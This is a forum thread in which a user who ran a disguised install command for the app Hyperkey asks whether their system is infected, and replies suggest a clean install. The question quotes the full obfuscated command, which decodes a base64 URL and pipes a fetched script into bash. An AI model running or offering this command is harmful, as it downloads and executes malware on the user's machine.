I recently ran a command that I thought would help me install an application, but I didn't look closely at it before executing. It involved a base64 encoded string that resolved to a URL downloading and executing a shell script directly in my terminal. The command I ran was: `/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9ib25vdWQuY29tL2dldDEvaW5zdGFsbC5zaA== | base64 -d))"`. After running it, I saw an output that raised a red flag for me: `sh: line 0: disown: current: no such job`. I'm unsure if this means the script ran successfully or failed. I checked the contents of the script, and it appears to download an executable from a suspicious URL, saves it, and executes it. I've taken some precautions by running Malwarebytes and monitoring network connections, but I really want advice on what to do next—especially to confirm if my system is infected before considering a clean install.
4 Answers
Just a heads-up, it’s common for hackers to hide their footprints, so unless you're super tech-savvy with malware removal, I would definitely recommend a clean install. Don't wait for confirmation of infection; act on your gut feeling instead!
First off, running scripts without understanding them can be risky, so lesson learned there! Given what you've described, it sounds like a clean install might be the safest route. Once malware is involved, you can’t always be sure you've removed it completely. Better to be safe than sorry! If you choose not to do a clean install right away, make sure to keep monitoring your system closely.
Thanks for the advice! The app I was trying to install was Hyperkey. Definitely a lesson learned to avoid blindly running commands in the future!
I totally get the hesitation about wiping your system, but honestly, just doing it might be the best approach here. It's tough to confirm total safety after running unknown scripts, and malicious users often hide their tracks. You mentioned monitoring network activity, which is smart; just remember the best protection sometimes is starting fresh.
Related Questions
Can't Load PhpMyadmin On After Server Update
Redirect www to non-www in Apache Conf
How To Check If Your SSL Cert Is SHA 1
Windows TrackPad Gestures